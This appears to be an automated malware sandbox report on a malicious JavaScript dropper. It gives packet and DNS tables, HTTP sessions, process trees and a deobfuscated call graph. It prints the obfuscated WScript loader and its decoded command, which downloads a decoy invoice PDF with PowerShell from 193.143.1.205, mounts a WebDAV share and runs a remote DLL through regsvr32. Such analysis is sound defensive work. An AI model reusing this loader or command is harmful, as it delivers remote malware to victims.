Jan 11, 2025 06:39:22.211833000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211848021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211869001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211901903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211922884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.211935997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211968899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.211982965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.212002993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.212035894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:22.212052107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.263084888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.266518116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.497323036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:22.659413099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:23.021150112 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:23.111365080 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:23.111558914 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:23.115094900 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:23.121097088 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:23.962960958 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 06:39:24.013107061 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:39:26.275002003 CET	49701	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:39:31.074121952 CET	52485	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:39:31.074121952 CET	192.168.2.7	1.1.1.1	0x1af5	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:39:31.081506014 CET	1.1.1.1	192.168.2.7	0x1af5	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:39:31.785434008 CET	1.1.1.1	192.168.2.7	0x78d5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:39:31.785434008 CET	1.1.1.1	192.168.2.7	0x78d5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:39:46.488183975 CET	1.1.1.1	192.168.2.7	0xa798	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:39:46.488183975 CET	1.1.1.1	192.168.2.7	0xa798	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:00.238903999 CET	1.1.1.1	192.168.2.7	0xdc84	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:00.238903999 CET	1.1.1.1	192.168.2.7	0xdc84	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:24.315824032 CET	1.1.1.1	192.168.2.7	0x9a0b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:24.315824032 CET	1.1.1.1	192.168.2.7	0x9a0b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:48.394787073 CET	1.1.1.1	192.168.2.7	0x89d1	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:40:48.394787073 CET	1.1.1.1	192.168.2.7	0x89d1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:48.394787073 CET	1.1.1.1	192.168.2.7	0x89d1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:48.394787073 CET	1.1.1.1	192.168.2.7	0x89d1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:48.394787073 CET	1.1.1.1	192.168.2.7	0x89d1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:48.394787073 CET	1.1.1.1	192.168.2.7	0x89d1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:48.394787073 CET	1.1.1.1	192.168.2.7	0x89d1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:48.394787073 CET	1.1.1.1	192.168.2.7	0x89d1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:40:48.394787073 CET	1.1.1.1	192.168.2.7	0x89d1	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:41:12.504051924 CET	1.1.1.1	192.168.2.7	0xbe0e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:41:12.504051924 CET	1.1.1.1	192.168.2.7	0xbe0e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	2628	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:39:19.471632957 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:39:20.279048920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:39:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:39:20.279159069 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:39:20.279181957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:39:20.279200077 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 06:39:20.279309988 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 06:39:20.279361010 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 06:39:20.279382944 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 06:39:20.279398918 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:39:20.279419899 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:39:20.279441118 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:39:20.284802914 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	193.143.1.205	8888	6912	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:39:23.115094900 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:39:23.962960958 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:39:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:39:13
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\709291801716322197.js"
Imagebase:	0x7ff61c3d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:39:14
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll
Imagebase:	0x7ff622930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:39:14
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:39:14
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:39:21
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	00:39:21
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff622930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:39:21
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff663350000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:39:22
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	00:39:22
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	00:39:22
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1632,i,10589699250535249352,15620526891858889764,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mfnvpcqz() {	mfnvpcqz() ➔ undefined
1	nsnmrnh = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uhdneg = this[admai + jmdpfjyjr + gepmcf + dbwdjz + bptqxvs + yjtncumhh + ixodtoxy + hlpkh] ( this[ticounda + dnpkh + qaiysgd + gepmcf + kvvyxpyit + admai + hlpkh][pfubkndd + gepmcf + bptqxvs + jmdpfjyjr + hlpkh + bptqxvs + eczytpfyx + upyirxjfn + bvhetokpb + bptqxvs + qaiysgd + hlpkh] ( ticounda + dnpkh + qaiysgd + gepmcf + kvvyxpyit + admai + hlpkh + fosuxie + dnpkh + rpoxdskat + bptqxvs + omyipx + omyipx ) [rupopshn + bptqxvs + mqprgo + rupopshn + bptqxvs + jmdpfjyjr + xalblyox] ( alfik + isivtwogi + dfjzv + dzzpeiqd + rzwlpghe + pfubkndd + naaeibrh + rupopshn + rupopshn + dfjzv + nsxcb + ewymxw + rzwlpghe + naaeibrh + dnpkh + dfjzv + rupopshn + wemzy + pfubkndd + vombzfk + ixodtoxy + hlpkh + gepmcf + vombzfk + omyipx + eequgvx + iiugrphdn + jmdpfjyjr + ixodtoxy + bptqxvs + omyipx + wemzy + yjtncumhh + ixodtoxy + hlpkh + bptqxvs + gepmcf + ixodtoxy + jmdpfjyjr + hlpkh + kvvyxpyit + vombzfk + ixodtoxy + jmdpfjyjr + omyipx + wemzy + wqdlvm + vombzfk + qaiysgd + jmdpfjyjr + omyipx + bptqxvs ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zsukvlefv = 0 ; zsukvlefv < nsnmrnh[omyipx + bptqxvs + ixodtoxy + mqprgo + hlpkh + rpoxdskat] ; ++ zsukvlefv )
4	{
5	if ( uhdneg == nsnmrnh[zsukvlefv] )
6	{
7	uhdneg = true;
8	break ;
9	}
10	}
11	if ( uhdneg !== true )
12	this[ticounda + dnpkh + qaiysgd + gepmcf + kvvyxpyit + admai + hlpkh][jsult + fvctl + kvvyxpyit + hlpkh] ( );
13	this[ticounda + dnpkh + qaiysgd + gepmcf + kvvyxpyit + admai + hlpkh][pfubkndd + gepmcf + bptqxvs + jmdpfjyjr + hlpkh + bptqxvs + eczytpfyx + upyirxjfn + bvhetokpb + bptqxvs + qaiysgd + hlpkh] ( ticounda + dnpkh + qaiysgd + gepmcf + kvvyxpyit + admai + hlpkh + fosuxie + dnpkh + rpoxdskat + bptqxvs + omyipx + omyipx ) [gepmcf + fvctl + ixodtoxy] ( qaiysgd + xqedead + xalblyox + eequgvx + ydpdq + qaiysgd + eequgvx + admai + vombzfk + xtjjrxhx + bptqxvs + gepmcf + dbwdjz + rpoxdskat + bptqxvs + omyipx + omyipx + fosuxie + bptqxvs + uiobcokzs + bptqxvs + eequgvx + yqhqzk + pfubkndd + vombzfk + xqedead + xqedead + jmdpfjyjr + ixodtoxy + xalblyox + eequgvx + gmbjf + yjtncumhh + ixodtoxy + vnjmh + vombzfk + dzdel + bptqxvs + yqhqzk + ticounda + bptqxvs + upyirxjfn + rupopshn + bptqxvs + btehpz + fvctl + bptqxvs + dbwdjz + hlpkh + eequgvx + yqhqzk + eczytpfyx + fvctl + hlpkh + hejjcwmnn + kvvyxpyit + omyipx + bptqxvs + eequgvx + dugoaionx + hlpkh + bptqxvs + xqedead + admai + dugoaionx + wemzy + kvvyxpyit + ixodtoxy + vnjmh + vombzfk + kvvyxpyit + qaiysgd + bptqxvs + fosuxie + admai + xalblyox + zdbinpjw + eequgvx + rpoxdskat + hlpkh + hlpkh + admai + cahevwm + ydpdq + ydpdq + osrfk + umlpdck + kovfnheqw + fosuxie + osrfk + smgvu + kovfnheqw + fosuxie + osrfk + fosuxie + duebxav + xhfqxqtju + ghzlgymo + ydpdq + kvvyxpyit + ixodtoxy + vnjmh + vombzfk + kvvyxpyit + qaiysgd + bptqxvs + fosuxie + admai + rpoxdskat + admai + gmbjf + otezqn + otezqn + dbwdjz + hlpkh + jmdpfjyjr + gepmcf + hlpkh + eequgvx + dugoaionx + hlpkh + bptqxvs + xqedead + admai + dugoaionx + wemzy + kvvyxpyit + ixodtoxy + vnjmh + vombzfk + kvvyxpyit + qaiysgd + bptqxvs + fosuxie + admai + xalblyox + zdbinpjw + otezqn + otezqn + qaiysgd + xqedead + xalblyox + eequgvx + ydpdq + qaiysgd + eequgvx + ixodtoxy + bptqxvs + hlpkh + eequgvx + fvctl + dbwdjz + bptqxvs + eequgvx + wemzy + wemzy + osrfk + umlpdck + kovfnheqw + fosuxie + osrfk + smgvu + kovfnheqw + fosuxie + osrfk + fosuxie + duebxav + xhfqxqtju + ghzlgymo + evnick + ffcnk + ffcnk + ffcnk + ffcnk + wemzy + xalblyox + jmdpfjyjr + vnjmh + xtjjrxhx + xtjjrxhx + xtjjrxhx + gepmcf + vombzfk + vombzfk + hlpkh + wemzy + otezqn + otezqn + qaiysgd + xqedead + xalblyox + eequgvx + ydpdq + qaiysgd + eequgvx + gepmcf + bptqxvs + mqprgo + dbwdjz + vnjmh + gepmcf + kovfnheqw + duebxav + eequgvx + ydpdq + dbwdjz + eequgvx + wemzy + wemzy + osrfk + umlpdck + kovfnheqw + fosuxie + osrfk + smgvu + kovfnheqw + fosuxie + osrfk + fosuxie + duebxav + xhfqxqtju + ghzlgymo + evnick + ffcnk + ffcnk + ffcnk + ffcnk + wemzy + xalblyox + jmdpfjyjr + vnjmh + xtjjrxhx + xtjjrxhx + xtjjrxhx + gepmcf + vombzfk + vombzfk + hlpkh + wemzy + osrfk + xhfqxqtju + kovfnheqw + pmuqkgbyu + duebxav + duebxav + ffcnk + umlpdck + ffcnk + pmuqkgbyu + iujnblmk + osrfk + umlpdck + iujnblmk + fosuxie + xalblyox + omyipx + omyipx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll",0,false) ➔ 0
14	}
15	hlpkh = "L";
16	hlpkh = "n";
17	hlpkh = "m";
18	hlpkh = "k";
19	hlpkh = "X";
20	hlpkh = "j";
21	hlpkh = "u";
22	hlpkh = "T";
23	hlpkh = "t";
24	dnpkh = "x";
25	dnpkh = "y";
26	dnpkh = "W";
27	dnpkh = "g";
